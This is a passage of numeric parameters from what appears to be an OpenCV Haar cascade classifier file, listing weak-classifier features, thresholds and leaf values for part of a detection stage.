4.2717689275741577e-01 5.5034661293029785e-01 + <_> + + 0 -1 1721 3.3224520739167929e-03 + + 3.9627239108085632e-01 5.3697347640991211e-01 + <_> + + 0 -1 1722 -1.1037490330636501e-03 + + 4.7271779179573059e-01 5.2377498149871826e-01 + <_> + + 0 -1 1723 -1.4350269921123981e-03 + + 5.6030082702636719e-01 4.2235091328620911e-01 + <_> + + 0 -1 1724 2.0767399109899998e-03 + + 5.2259171009063721e-01 4.7327259182929993e-01 + <_> + + 0 -1 1725 -1.6412809782195836e-04 + + 3.9990758895874023e-01 5.4327398538589478e-01 + <_> + + 0 -1 1726 8.8302437216043472e-03 + + 4.6783858537673950e-01 6.0273271799087524e-01 + <_> + + 0 -1 1727 -1.0552070103585720e-02 + + 3.4939670562744141e-01 5.2139747142791748e-01 + <_> + + 0 -1 1728 -2.2731600329279900e-03 + + 6.1858189105987549e-01 4.7490629553794861e-01 + <_> + + 0 -1 1729 -8.4786332445219159e-04 + + 5.2853411436080933e-01 3.8434821367263794e-01 + <_> + + 0 -1 1730 1.2081359745934606e-03 + + 5.3606408834457397e-01 3.4473359584808350e-01 + <_> + + 0 -1 1731 2.6512730401009321e-03 + + 4.5582920312881470e-01 6.1939620971679688e-01 + <_> + + 0 -1 1732 -1.1012479662895203e-03 + + 3.6802300810813904e-01 5.3276282548904419e-01 + <_> + + 0 -1 1733 4.9561518244445324e-04 + + 3.9605951309204102e-01 5.2749407291412354e-01 + <_> + + 0 -1 1734 -4.3901771306991577e-02 + + 7.0204448699951172e-01 4.9928390979766846e-01 + <_> + + 0 -1 1735 3.4690350294113159e-02 + + 5.0491642951965332e-01 2.7666029334068298e-01 + <_> + + 0 -1 1736 -2.7442190330475569e-03 + + 2.6726329326629639e-01 5.2749711275100708e-01 + <_> + + 0 -1 1737 3.3316588960587978e-03 + + 4.5794829726219177e-01 6.0011017322540283e-01 + <_> + + 0 -1 1738 -2.0044570788741112e-02 + + 3.1715941429138184e-01 5.2357178926467896e-01 + <_> + + 0 -1 1739 1.3492030557245016e-03 + + 5.2653628587722778e-01 4.0343248844146729e-01 + <_> + + 0 -1 1740 2.9702018946409225e-03 + + 5.3324568271636963e-01 4.5719841122627258e-01 + <_> + + 0 -1 1741 6.3039981760084629e-03 + + 4.5933109521865845e-01 6.0346359014511108e-01 + <_> + + 0 -1 1742 -1.2936590239405632e-02 + + 4.4379639625549316e-01 5.3729712963104248e-01 + <_> + + 0 -1 1743 4.0148729458451271e-03 + + 4.6803238987922668e-01 6.4378339052200317e-01 + <_> + + 0 -1 1744 -2.6401679497212172e-03 + + 3.7096318602561951e-01 5.3143328428268433e-01 + <_> + + 0 -1 1745 1.3918439857661724e-02 + + 4.7235551476478577e-01 7.1308088302612305e-01 + <_> + + 0 -1 1746 -4.5087869511917233e-04 + + 4.4923940300941467e-01 5.3704041242599487e-01 + <_> + + 0 -1 1747 2.5384349282830954e-04 + + 4.4068640470504761e-01 5.5144029855728149e-01 + <_> + + 0 -1 1748 2.2710000630468130e-03 + + 4.6824169158935547e-01 5.9679841995239258e-01 + <_> + + 0 -1 1749 2.4120779708027840e-03 + + 5.0793921947479248e-01 3.0185988545417786e-01 + <_> + + 0 -1 1750 -3.6025670851813629e-05 + + 5.6010371446609497e-01 4.4710969924926758e-01 + <_> + + 0 -1 1751 -7.4905529618263245e-03 + + 2.2075350582599640e-01 4.9899441003799438e-01 + <_> + + 0 -1 1752 -1.7513120546936989e-02 + + 6.5312159061431885e-01 5.0176489353179932e-01 + <_> + + 0 -1 1753 1.4281630516052246e-01 + + 4.9679630994796753e-01 1.4820620417594910e-01 + <_> + + 0 -1 1754 5.5345268920063972e-03 + + 4.8989468812942505e-01 5.9542238712310791e-01 + <_> + + 0 -1 1755 -9.6323591424152255e-04 + + 3.9271169900894165e-01 5.1960742473602295e-01 + <_> + + 0 -1 1756 -2.0370010752230883e-03 + + 5.6133252382278442e-01 4.8848581314086914e-01 + <_> + + 0 -1 1757 1.6614829655736685e-03 + + 4.4728800654411316e-01 5.5788809061050415e-01 + <_> + + 0 -1 1758 -3.1188090797513723e-03 + + 3.8405328989028931e-01 5.3974777460098267e-01 + <_> + + 0 -1 1759 -6.4000617712736130e-03 + + 5.8439838886260986e-01 4.5332181453704834e-01 + <_> + + 0 -1 1760 3.1319601112045348e-04 + + 5.4392218589782715e-01 4.2347279191017151e-01 + <_> + + 0 -1 1761 -1.8222099170088768e-02 + + 1.2884649634361267e-01 4.9584048986434937e-01 + <_> + + 0 -1 1762 8.7969247251749039e-03 + + 4.9512979388237000e-01 7.1534800529479980e-01 + <_> + + 0 -1 1763 -4.2395070195198059e-03 + + 3.9465999603271484e-01 5.1949369907379150e-01 + <_> + + 0 -1 1764 9.7086271271109581e-03 + + 4.8975038528442383e-01 6.0649001598358154e-01 + <_> + + 0 -1 1765 -3.9934171363711357e-03 + + 3.2454401254653931e-01 5.0608289241790771e-01 + <_> + + 0 -1 1766 -1.6785059124231339e-02 + + 1.5819530189037323e-01 5.2037787437438965e-01 + <_> + + 0 -1 1767 1.8272090703248978e-02 + + 4.6809351444244385e-01 6.6269791126251221e-01 + <_> + + 0 -1 1768 5.6872838176786900e-03 + + 5.2116978168487549e-01 3.5121849179267883e-01 + <_> + + 0 -1 1769 -1.0739039862528443e-03 + + 5.7683861255645752e-01 4.5298451185226440e-01 + <_> + + 0 -1 1770 -3.7093870341777802e-03 + + 4.5077630877494812e-01 5.3135812282562256e-01 + <_> + + 0 -1 1771 -2.1110709349159151e-04 + + 5.4608201980590820e-01 4.3333768844604492e-01 + <_> + + 0 -1 1772 1.0670139454305172e-03 + + 5.3718560934066772e-01 4.0783908963203430e-01 + <_> + + 0 -1 1773 3.5943021066486835e-03 + + 4.4712871313095093e-01 5.6438362598419189e-01 + <_> + + 0 -1 1774 -5.1776031032204628e-03 + + 4.4993931055068970e-01 5.2803301811218262e-01 + <_> + + 0 -1 1775 -2.5414369883947074e-04 + + 5.5161732435226440e-01 4.4077080488204956e-01 + <_> + + 0 -1 1776 6.3522560521960258e-03 + + 5.1941901445388794e-01 2.4652279913425446e-01 + <_> + + 0 -1 1777 -4.4205080484971404e-04 + + 3.8307058811187744e-01 5.1396822929382324e-01 + <_> + + 0 -1 1778 7.4488727841526270e-04 + + 4.8910909891128540e-01 5.9747868776321411e-01 + <_> + + 0 -1 1779 -3.5116379149258137e-03 + + 7.4136817455291748e-01 4.7687649726867676e-01 + <_> + + 0 -1 1780 -1.2540910392999649e-02 + + 3.6488190293312073e-01 5.2528268098831177e-01 + <_> + + 0 -1 1781 9.4931852072477341e-03 + + 5.1004928350448608e-01 3.6295869946479797e-01 + <_> + + 0 -1 1782 1.2961150147020817e-02 + + 5.2324420213699341e-01 4.3335610628128052e-01 + <_> + + 0 -1 1783 4.7209449112415314e-03 + + 4.6481490135192871e-01 6.3310527801513672e-01 + <_> + + 0 -1 1784 -2.3119079414755106e-03 + + 5.9303098917007446e-01 4.5310580730438232e-01 + <_> + + 0 -1 1785 -2.8262299019843340e-03 + + 3.8704779744148254e-01 5.2571010589599609e-01 + <_> + + 0 -1 1786 -1.4311339473351836e-03 + + 5.5225032567977905e-01 4.5618548989295959e-01 + <_> + + 0 -1 1787 1.9378310535103083e-03 + + 4.5462208986282349e-01 5.7369667291641235e-01 + <_> + + 0 -1 1788 2.6343559147790074e-04 + + 5.3457391262054443e-01 4.5718750357627869e-01 + <_> + + 0 -1 1789 7.8257522545754910e-04 + + 3.9678159356117249e-01 5.2201879024505615e-01 + <_> + + 0 -1 1790 -1.9550440832972527e-02 + + 2.8296428918838501e-01 5.2435082197189331e-01 + <_> + + 0 -1 1791 4.3914958951063454e-04 + + 4.5900669693946838e-01 5.8990901708602905e-01 + <_> + + 0 -1 1792 2.1452000364661217e-02 + + 5.2314108610153198e-01 2.8553789854049683e-01 + <_> + + 0 -1 1793 5.8973580598831177e-04 + + 4.3972569704055786e-01 5.5064219236373901e-01 + <_> + + 0 -1 1794 -2.6157610118389130e-02 + + 3.1350791454315186e-01 5.1891750097274780e-01 + <_> + + 0 -1 1795 -1.3959860429167747e-02 + + 3.2132729887962341e-01 5.0407177209854126e-01 + <_> + + 0 -1 1796 -6.3699018210172653e-03 + + 6.3875448703765869e-01 4.8495069146156311e-01 + <_> + + 0 -1 1797 -8.5613820701837540e-03 + + 2.7591320872306824e-01 5.0320190191268921e-01 + <_> + + 0 -1 1798 9.6622901037335396e-04 + + 4.6856409311294556e-01 5.8348792791366577e-01 + <_> + + 0 -1 1799 7.6550268568098545e-04 + + 5.1752072572708130e-01 3.8964220881462097e-01 + <_> + + 0 -1 1800 -8.1833340227603912e-03 + + 2.0691369473934174e-01 5.2081221342086792e-01 + <_> + + 0 -1 1801 -9.3976939097046852e-03 + + 6.1340910196304321e-01 4.6412229537963867e-01 + <_> + + 0 -1 1802 4.8028980381786823e-03 + + 5.4541081190109253e-01 4.3952199816703796e-01 + <_> + + 0 -1 1803 -3.5680569708347321e-03 + + 6.3444852828979492e-01 4.6810939908027649e-01 + <_> + + 0 -1 1804 4.0733120404183865e-03 + + 5.2926832437515259e-01 4.0156200528144836e-01 + <_> + + 0 -1 1805 1.2568129459396005e-03 + + 4.3929880857467651e-01 5.4528248310089111e-01 + <_> + + 0 -1 1806 -2.9065010603517294e-03 + + 5.8988320827484131e-01 4.8633798956871033e-01 + <_> + + 0 -1 1807 -2.4409340694546700e-03 + + 4.0693649649620056e-01 5.2474218606948853e-01 + <_> + + 0 -1 1808 2.4830700829625130e-02 + + 5.1827257871627808e-01 3.6825248599052429e-01 + <_> + + 0 -1 1809 -4.8854008316993713e-02 + + 1.3075779378414154e-01 4.9612811207771301e-01 + <_> + + 0 -1 1810 -1.6110379947349429e-03 + + 6.4210057258605957e-01 4.8726621270179749e-01 + <_> + + 0 -1 1811 -9.7009479999542236e-02 + + 4.7769349068403244e-02 4.9509888887405396e-01 + <_> + + 0 -1 1812 1.1209240183234215e-03 + + 4.6162670850753784e-01 5.3547459840774536e-01 + <_> + + 0 -1 1813 -1.3064090162515640e-03 + + 6.2618541717529297e-01 4.6388059854507446e-01 + <_> + + 0 -1 1814 4.5771620352752507e-04 + + 5.3844177722930908e-01 4.6466401219367981e-01 + <_> + + 0 -1 1815 -6.3149951165542006e-04 + + 3.8040471076965332e-01 5.1302570104598999e-01 + <_> + + 0 -1 1816 1.4505970466416329e-04 + + 4.5543101429939270e-01 5.6644618511199951e-01 + <_> + + 0 -1 1817 -1.6474550589919090e-02 + + 6.5969580411911011e-01 4.7158598899841309e-01 + <_> + + 0 -1 1818 1.3369579799473286e-02 + + 5.1954662799835205e-01 3.0359649658203125e-01 + <_> + + 0 -1 1819 1.0271780047332868e-04 + + 5.2291762828826904e-01 4.1070660948753357e-01 + <_> + + 0 -1 1820 -5.5311559699475765e-03 + + 6.3528877496719360e-01 4.9609071016311646e-01 + <_> + + 0 -1 1821 -2.6187049224972725e-03 + + 3.8245460391044617e-01 5.1409840583801270e-01 + <_> + + 0 -1 1822 5.0834268331527710e-03 + + 4.9504399299621582e-01 6.2208187580108643e-01 + <_> + + 0 -1 1823 7.9818159341812134e-02 + + 4.9523359537124634e-01 1.3224759697914124e-01 + <_> + + 0 -1 1824 -9.9226586520671844e-02 + + 7.5427287817001343e-01 5.0084167718887329e-01 + <_> + + 0 -1 1825 -6.5174017800018191e-04 + + 3.6993029713630676e-01 5.1301211118698120e-01 + <_> + + 0 -1 1826 -1.8996849656105042e-02 + + 6.6891789436340332e-01 4.9212029576301575e-01 + <_> + + 0 -1 1827 1.7346899956464767e-02 + + 4.9833008646965027e-01 1.8591980636119843e-01 + <_> + + 0 -1 1828 5.5082101607695222e-04 + + 4.5744240283966064e-01 5.5221217870712280e-01 + <_> + + 0 -1 1829 2.0056050270795822e-03 + + 5.1317447423934937e-01 3.8564699888229370e-01 + <_> + + 0 -1 1830 -7.7688191086053848e-03 + + 4.3617001175880432e-01 5.4343092441558838e-01 + <_> + + 0 -1 1831 5.0878278911113739e-02 + + 4.6827208995819092e-01 6.8406397104263306e-01 + <_> + + 0 -1 1832 -2.2901780903339386e-03 + + 4.3292450904846191e-01 5.3060990571975708e-01 + <_> + + 0 -1 1833 -1.5715380141045898e-04 + + 5.3700572252273560e-01 4.3781641125679016e-01 + <_> + + 0 -1 1834 1.0519240051507950e-01 + + 5.1372742652893066e-01 6.7361466586589813e-02 + <_> + + 0 -1 1835 2.7198919560760260e-03 + + 4.1120609641075134e-01 5.2556651830673218e-01 + <_> + + 0 -1 1836 4.8337779939174652e-02 + + 5.4046237468719482e-01 4.4389671087265015e-01 + <_> + + 0 -1 1837 9.5703761326149106e-04 + + 4.3559691309928894e-01 5.3995108604431152e-01 + <_> + + 0 -1 1838 -2.5371259078383446e-02 + + 5.9951752424240112e-01 5.0310248136520386e-01 + <_> + + 0 -1 1839 5.2457951009273529e-02 + + 4.9502879381179810e-01 1.3983510434627533e-01 + <_> + + 0 -1 1840 -1.2365629896521568e-02 + + 6.3972991704940796e-01 4.9641060829162598e-01 + <_> + + 0 -1 1841 -1.4589719474315643e-01 + + 1.0016699880361557e-01 4.9463221430778503e-01 + <_> + + 0 -1 1842 -1.5908600762486458e-02 + + 3.3123299479484558e-01 5.2083408832550049e-01 + <_> + + 0 -1 1843 3.9486068999394774e-04 + + 4.4063639640808105e-01 5.4261028766632080e-01 + <_> + + 0 -1 1844 -5.2454001270234585e-03 + + 2.7995899319648743e-01 5.1899671554565430e-01 + <_> + + 0 -1 1845 -5.0421799533069134e-03 + + 6.9875800609588623e-01 4.7521421313285828e-01 + <_> + + 0 -1 1846 2.9812189750373363e-03 + + 4.9832889437675476e-01 6.3074797391891479e-01 + <_> + + 0 -1 1847 -7.2884308174252510e-03 + + 2.9823330044746399e-01 5.0268697738647461e-01 + <_> + + 0 -1 1848 1.5094350092113018e-03 + + 5.3084421157836914e-01 3.8329708576202393e-01 + <_> + + 0 -1 1849 -9.3340799212455750e-03 + + 2.0379640161991119e-01 4.9698171019554138e-01 + <_> + + 0 -1 1850 2.8667140752077103e-02 + + 5.0256967544555664e-01 6.9280272722244263e-01 + <_> + + 0 -1 1851 1.7019680142402649e-01 + + 4.9600529670715332e-01 1.4764429628849030e-01 + <_> + + 0 -1 1852 -3.2614478841423988e-03 + + 5.6030637025833130e-01 4.8260560631752014e-01 + <_> + + 0 -1 1853 5.5769277969375253e-04 + + 5.2055621147155762e-01 4.1296330094337463e-01 + <_> + + 0 -1 1854 3.6258339881896973e-01 + + 5.2216529846191406e-01 3.7686121463775635e-01 + <_> + + 0 -1 1855 -1.1615130119025707e-02 + + 6.0226827859878540e-01 4.6374899148941040e-01 + <_> + + 0 -1 1856 -4.0795197710394859e-03 + + 4.0704470872879028e-01 5.3374791145324707e-01 + <_> + + 0 -1 1857 5.7204300537705421e-04 + + 4.6018350124359131e-01 5.9003931283950806e-01 + <_> + + 0 -1 1858 6.7543348995968699e-04 + + 5.3982520103454590e-01 4.3454289436340332e-01 + <_> + + 0 -1 1859 6.3295697327703238e-04 + + 5.2015632390975952e-01 4.0513589978218079e-01 + <_> + + 0 -1 1860 1.2435320531949401e-03 + + 4.6423879265785217e-01 5.5474412441253662e-01 + <_> + + 0 -1 1861 -4.7363857738673687e-03 + + 6.1985671520233154e-01 4.6725520491600037e-01 + <_> + + 0 -1 1862 -6.4658462069928646e-03 + + 6.8373328447341919e-01 5.0190007686614990e-01 + <_> + + 0 -1 1863 3.5017321351915598e-04 + + 4.3448030948638916e-01 5.3636229038238525e-01 + <_> + + 0 -1 1864 1.5754920605104417e-04 + + 4.7600790858268738e-01 5.7320207357406616e-01 + <_> + + 0 -1 1865 9.9774366244673729e-03 + + 5.0909858942031860e-01 3.6350399255752563e-01 + <_> + + 0 -1 1866 -4.1464529931545258e-04 + + 5.5700647830963135e-01 4.5938020944595337e-01 + <_> + + 0 -1 1867 -3.5888899583369493e-04 + + 5.3568458557128906e-01 4.3391349911689758e-01 + <_> + + 0 -1 1868 4.0463250479660928e-04 + + 4.4398030638694763e-01 5.4367768764495850e-01 + <_> + + 0 -1 1869 -8.2184787606820464e-04 + + 4.0422949194908142e-01 5.1762992143630981e-01 + <_> + + 0 -1 1870 5.9467419050633907e-03 + + 4.9276518821716309e-01 5.6337797641754150e-01 + <_> + + 0 -1 1871 -2.1753389388322830e-02 + + 8.0062937736511230e-01 4.8008409142494202e-01 + <_> + + 0 -1 1872 -1.4540379866957664e-02 + + 3.9460548758506775e-01 5.1822227239608765e-01 + <_> + + 0 -1 1873 -4.0510769933462143e-02 + + 2.1324990317225456e-02 4.9357929825782776e-01 + <_> + + 0 -1 1874 -5.8458268176764250e-04 + + 4.0127959847450256e-01 5.3140252828598022e-01 + <_> + + 0 -1 1875 5.5151800625026226e-03 + + 4.6424189209938049e-01 5.8962607383728027e-01 + <_> + + 0 -1 1876 -6.0626221820712090e-03 + + 6.5021592378616333e-01 5.0164777040481567e-01 + <_> + + 0 -1 1877 9.4535842537879944e-02 + + 5.2647089958190918e-01 4.1268271207809448e-01 + <_> + + 0 -1 1878 4.7315051779150963e-03 + + 4.8791998624801636e-01 5.8924478292465210e-01 + <_> + + 0 -1 1879 -5.2571471314877272e-04 + + 3.9172801375389099e-01 5.1894128322601318e-01 + <_> + + 0 -1 1880 -2.5464049540460110e-03 + + 5.8375990390777588e-01 4.9857059121131897e-01 + <_> + + 0 -1 1881 -2.6075689122080803e-02 + + 1.2619839608669281e-01 4.9558219313621521e-01 + <_> + + 0 -1 1882 -5.4779709316790104e-03 + + 5.7225137948989868e-01 5.0102657079696655e-01 + <_> + + 0 -1 1883 5.1337741315364838e-03 + + 5.2732622623443604e-01 4.2263761162757874e-01 + <_> + + 0 -1 1884 4.7944980906322598e-04 + + 4.4500669836997986e-01 5.8195871114730835e-01 + <_> + + 0 -1 1885 -2.1114079281687737e-03 + + 5.7576531171798706e-01 4.5117148756980896e-01 + <_> + + 0 -1 1886 -1.3179990462958813e-02 + + 1.8843810260295868e-01 5.1607340574264526e-01 + <_> + + 0 -1 1887 -4.7968099825084209e-03 + + 6.5897899866104126e-01 4.7361189126968384e-01 + <_> + + 0 -1 1888 6.7483168095350266e-03 + + 5.2594298124313354e-01 3.3563950657844543e-01 + <_> + + 0 -1 1889 1.4623369788751006e-03 + + 5.3552711009979248e-01 4.2640921473503113e-01 + <_> + + 0 -1 1890 4.7645159065723419e-03 + + 5.0344067811965942e-01 5.7868278026580811e-01 + <_> + + 0 -1 1891 6.8066660314798355e-03 + + 4.7566050291061401e-01 6.6778290271759033e-01 + <_> + + 0 -1 1892 3.6608621012419462e-03 + + 5.3696119785308838e-01 4.3115469813346863e-01 + <_> + + 0 -1 1893 2.1449640393257141e-02 + + 4.9686419963836670e-01 1.8888160586357117e-01 + <_> + + 0 -1 1894 4.1678901761770248e-03 + + 4.9307331442832947e-01 5.8153688907623291e-01 + <_> + + 0 -1 1895 8.6467564105987549e-03 + + 5.2052050828933716e-01 4.1325950622558594e-01 + <_> + + 0 -1 1896 -3.6114078829996288e-04 + + 5.4835551977157593e-01 4.8009279370307922e-01 + <_> + + 0 -1 1897 1.0808729566633701e-03 + + 4.6899020671844482e-01 6.0414212942123413e-01 + <_> + + 0 -1 1898 5.7719959877431393e-03 + + 5.1711422204971313e-01 3.0532771348953247e-01 + <_> + + 0 -1 1899 1.5720770461484790e-03 + + 5.2199780941009521e-01 4.1788038611412048e-01 + <_> + + 0 -1 1900 -1.9307859474793077e-03 + + 5.8603698015213013e-01 4.8129200935363770e-01 + <_> + + 0 -1 1901 -7.8926272690296173e-03 + + 1.7492769658565521e-01 4.9717339873313904e-01 + <_> + + 0 -1 1902 -2.2224679123610258e-03 + + 4.3425890803337097e-01 5.2128481864929199e-01 + <_> + + 0 -1 1903 1.9011989934369922e-03 + + 4.7651869058609009e-01 6.8920552730560303e-01 + <_> + + 0 -1 1904 2.7576119173318148e-03 + + 5.2621912956237793e-01 4.3374860286712646e-01 + <_> + + 0 -1 1905 5.1787449046969414e-03 + + 4.8040691018104553e-01 7.8437292575836182e-01 + <_> + + 0 -1 1906 -9.0273341629654169e-04 + + 4.1208469867706299e-01 5.3534239530563354e-01 + <_> + + 0 -1 1907 5.1797959022223949e-03 + + 4.7403728961944580e-01 6.4259600639343262e-01 + <_> + + 0 -1 1908 -1.0114000178873539e-02 + + 2.4687920510768890e-01 5.1750177145004272e-01 + <_> + + 0 -1 1909 -1.8617060035467148e-02 + + 5.7562941312789917e-01 4.6289789676666260e-01 + <_> + + 0 -1 1910 5.9225959703326225e-03 + + 5.1696258783340454e-01 3.2142710685729980e-01 + <_> + + 0 -1 1911 -6.2945079989731312e-03 + + 3.8720148801803589e-01 5.1416367292404175e-01 + <_> + + 0 -1 1912 6.5353019163012505e-03 + + 4.8530489206314087e-01 6.3104897737503052e-01 + <_> + + 0 -1 1913 1.0878399480134249e-03 + + 5.1173150539398193e-01 3.7232589721679688e-01 + <_> + + 0 -1 1914 -2.2542240098118782e-02 + + 5.6927400827407837e-01 4.8871129751205444e-01 + <_> + + 0 -1 1915 -3.0065660830587149e-03 + + 2.5560128688812256e-01 5.0039929151535034e-01 + <_> + + 0 -1 1916 7.4741272255778313e-03 + + 4.8108729720115662e-01 5.6759268045425415e-01 + <_> + + 0 -1 1917 2.6162320747971535e-02 + + 4.9711948633193970e-01 1.7772370576858521e-01 + <_> + + 0 -1 1918 9.4352738233283162e-04 + + 4.9400109052658081e-01 5.4912507534027100e-01 + <_> + + 0 -1 1919 3.3363241702318192e-02 + + 5.0076121091842651e-01 2.7907240390777588e-01 + <_> + + 0 -1 1920 -1.5118650160729885e-02 + + 7.0595788955688477e-01 4.9730318784713745e-01 + <_> + + 0 -1 1921 9.8648946732282639e-04 + + 5.1286202669143677e-01 3.7767618894577026e-01 + <_> + 213 + 1.0576110076904297e+02 + + <_> + + 0 -1 1922 -9.5150798559188843e-02 + + 6.4707571268081665e-01 4.0172868967056274e-01 + <_> + + 0 -1 1923 6.2702340073883533e-03 + + 3.9998221397399902e-01 5.7464492321014404e-01 + <_> + + 0 -1 1924 3.0018089455552399e-04 + + 3.5587701201438904e-01 5.5388098955154419e-01 + <_> + + 0 -1 1925 1.1757409665733576e-03 + + 4.2565348744392395e-01 5.3826177120208740e-01 + <_> + + 0 -1 1926 4.4235268433112651e-05 + + 3.6829081177711487e-01 5.5899268388748169e-01 + <_> + + 0 -1 1927 -2.9936920327600092e-05 + + 5.4524701833724976e-01 4.0203678607940674e-01 + <_> + + 0 -1 1928 3.0073199886828661e-03 + + 5.2390581369400024e-01 3.3178439736366272e-01 + <_> + + 0 -1 1929 -1.0513889603316784e-02 + + 4.3206891417503357e-01 5.3079837560653687e-01 + <_> + + 0 -1 1930 8.3476826548576355e-03 + + 4.5046371221542358e-01 6.4532989263534546e-01 + <_> + + 0 -1 1931 -3.1492270063608885e-03 + + 4.3134251236915588e-01 5.3705251216888428e-01 + <_> + + 0 -1 1932 -1.4435649973165710e-05 + + 5.3266030550003052e-01 3.8179719448089600e-01 + <_> + + 0 -1 1933 -4.2855090578086674e-04 + + 4.3051639199256897e-01 5.3820097446441650e-01 + <_> + + 0 -1 1934 1.5062429883982986e-04 + + 4.2359709739685059e-01 5.5449652671813965e-01 + <_> + + 0 -1 1935 7.1559831500053406e-02 + + 5.3030598163604736e-01 2.6788029074668884e-01 + <_> + + 0 -1 1936 8.4095180500298738e-04 + + 3.5571089386940002e-01 5.2054339647293091e-01 + <_> + + 0 -1 1937 6.2986500561237335e-02 + + 5.2253627777099609e-01 2.8613761067390442e-01 + <_> + + 0 -1 1938 -3.3798629883676767e-03 + + 3.6241859197616577e-01 5.2016979455947876e-01 + <_> + + 0 -1 1939 -1.1810739670181647e-04 + + 5.4744768142700195e-01 3.9598938822746277e-01 + <_> + + 0 -1 1940 -5.4505601292476058e-04 + + 3.7404221296310425e-01 5.2157157659530640e-01 + <_> + + 0 -1 1941 -1.8454910023137927e-03 + + 5.8930522203445435e-01 4.5844489336013794e-01 + <_> + + 0 -1 1942 -4.3832371011376381e-04 + + 4.0845820307731628e-01 5.3853511810302734e-01 + <_> + + 0 -1 1943 -2.4000830017030239e-03 + + 3.7774550914764404e-01 5.2935802936553955e-01 + <_> + + 0 -1 1944 -9.8795741796493530e-02 + + 2.9636120796203613e-01 5.0700891017913818e-01 + <_> + + 0 -1 1945 3.1798239797353745e-03 + + 4.8776328563690186e-01 6.7264437675476074e-01 + <_> + + 0 -1 1946 3.2406419632025063e-04 + + 4.3669110536575317e-01 5.5611097812652588e-01 + <_> + + 0 -1 1947 -3.2547250390052795e-02 + + 3.1281578540802002e-01 5.3086161613464355e-01 + <_> + + 0 -1 1948 -7.7561130747199059e-03 + + 6.5602248907089233e-01 4.6398720145225525e-01 + <_> + + 0 -1 1949 1.6027249395847321e-02 + + 5.1726800203323364e-01 3.1418979167938232e-01 + <_> + + 0 -1 1950 7.1002350523485802e-06 + + 4.0844461321830750e-01 5.3362947702407837e-01 + <_> + + 0 -1 1951 7.3422808200120926e-03 + + 4.9669221043586731e-01 6.6034650802612305e-01 + <_> + + 0 -1 1952 -1.6970280557870865e-03 + + 5.9082370996475220e-01 4.5001828670501709e-01 + <_> + + 0 -1 1953 2.4118260480463505e-03 + + 5.3151607513427734e-01 3.5997208952903748e-01 + <_> + + 0 -1 1954 -5.5300937965512276e-03 + + 2.3340409994125366e-01 4.9968141317367554e-01 + <_> + + 0 -1 1955 -2.6478730142116547e-03 + + 5.8809357881546021e-01 4.6847340464591980e-01 + <_> + + 0 -1 1956 1.1295629665255547e-02 + + 4.9837771058082581e-01 1.8845909833908081e-01 + <_> + + 0 -1 1957 -6.6952878842130303e-04 + + 5.8721381425857544e-01 4.7990199923515320e-01 + <_> + + 0 -1 1958 1.4410680159926414e-03 + + 5.1311892271041870e-01 3.5010111331939697e-01 + <_> + + 0 -1 1959 2.4637870956212282e-03 + + 5.3393721580505371e-01 4.1176390647888184e-01 + <_> + + 0 -1 1960 3.3114518737420440e-04 + + 4.3133831024169922e-01 5.3982460498809814e-01 + <_> + + 0 -1 1961 -3.3557269722223282e-02 + + 2.6753368973731995e-01 5.1791548728942871e-01 + <_> + + 0 -1 1962 1.8539419397711754e-02 + + 4.9738699197769165e-01 2.3171770572662354e-01 + <_> + + 0 -1 1963 -2.9698139405809343e-04 + + 5.5297082662582397e-01 4.6436640620231628e-01 + <_> + + 0 -1 1964 -4.5577259152196348e-04 + + 5.6295841932296753e-01 4.4691911339759827e-01 + <_> + + 0 -1 1965 -1.0158980265259743e-02 + + 6.7062127590179443e-01 4.9259188771247864e-01 + <_> + + 0 -1 1966 -2.2413829356082715e-05 + + 5.2394217252731323e-01 3.9129018783569336e-01 + <_> + + 0 -1 1967 7.2034963523037732e-05 + + 4.7994381189346313e-01 5.5017888545989990e-01 + <_> + + 0 -1 1968 -6.9267209619283676e-03 + + 6.9300097227096558e-01 4.6980848908424377e-01 + <_> + + 0 -1 1969 -7.6997838914394379e-03 + + 4.0996238589286804e-01 5.4808831214904785e-01 + <_> + + 0 -1 1970 -7.3130549862980843e-03 + + 3.2834759354591370e-01 5.0578862428665161e-01 + <_> + + 0 -1 1971 1.9650589674711227e-03 + + 4.9780470132827759e-01 6.3982498645782471e-01 + <_> + + 0 -1 1972 7.1647600270807743e-03 + + 4.6611601114273071e-01 6.2221372127532959e-01 + <_> + + 0 -1 1973 -2.4078639224171638e-02 + + 2.3346449434757233e-01 5.2221620082855225e-01 + <_> + + 0 -1 1974 -2.1027969196438789e-02 + + 1.1836539953947067e-01 4.9382260441780090e-01 + <_> + + 0 -1 1975 3.6017020465806127e-04 + + 5.3250199556350708e-01 4.1167110204696655e-01 + <_> + + 0 -1 1976 -1.7219729721546173e-02 + + 6.2787622213363647e-01 4.6642690896987915e-01 + <_> + + 0 -1 1977 -7.8672142699360847e-03 + + 3.4034150838851929e-01 5.2497369050979614e-01 + <_> + + 0 -1 1978 -4.4777389848604798e-04 + + 3.6104118824005127e-01 5.0862592458724976e-01 + <_> + + 0 -1 1979 5.5486010387539864e-03 + + 4.8842659592628479e-01 6.2034982442855835e-01 + <_> + + 0 -1 1980 -6.9461148232221603e-03 + + 2.6259300112724304e-01 5.0110971927642822e-01 + <_> + + 0 -1 1981 1.3569870498031378e-04 + + 4.3407949805259705e-01 5.6283122301101685e-01 + <_> + + 0 -1 1982 -4.5880250632762909e-02 + + 6.5079987049102783e-01 4.6962749958038330e-01 + <_> + + 0 -1 1983 -2.1582560613751411e-02 + + 3.8265028595924377e-01 5.2876168489456177e-01 + <_> + + 0 -1 1984 -2.0209539681673050e-02 + + 3.2333680987358093e-01 5.0744771957397461e-01 + <_> + + 0 -1 1985 5.8496710844337940e-03 + + 5.1776039600372314e-01 4.4896709918975830e-01 + <_> + + 0 -1 1986 -5.7476379879517481e-05 + + 4.0208509564399719e-01 5.2463638782501221e-01 + <_> + + 0 -1 1987 -1.1513100471347570e-03 + + 6.3150721788406372e-01 4.9051541090011597e-01 + <_> + + 0 -1 1988 1.9862831104546785e-03 + + 4.7024598717689514e-01 6.4971512556076050e-01 + <_> + + 0 -1 1989 -5.2719512023031712e-03 + + 3.6503839492797852e-01 5.2276527881622314e-01 + <_> + + 0 -1 1990 1.2662699446082115e-03 + + 5.1661008596420288e-01 3.8776180148124695e-01 + <_> + + 0 -1 1991 -6.2919440679252148e-03 + + 7.3758941888809204e-01 5.0238478183746338e-01 + <_> + + 0 -1 1992 6.7360111279413104e-04 + + 4.4232261180877686e-01 5.4955857992172241e-01 + <_> + + 0 -1 1993 -1.0523450328037143e-03 + + 5.9763962030410767e-01 4.8595830798149109e-01 + <_> + + 0 -1 1994 -4.4216238893568516e-04 + + 5.9559392929077148e-01 4.3989309668540955e-01 + <_> + + 0 -1 1995 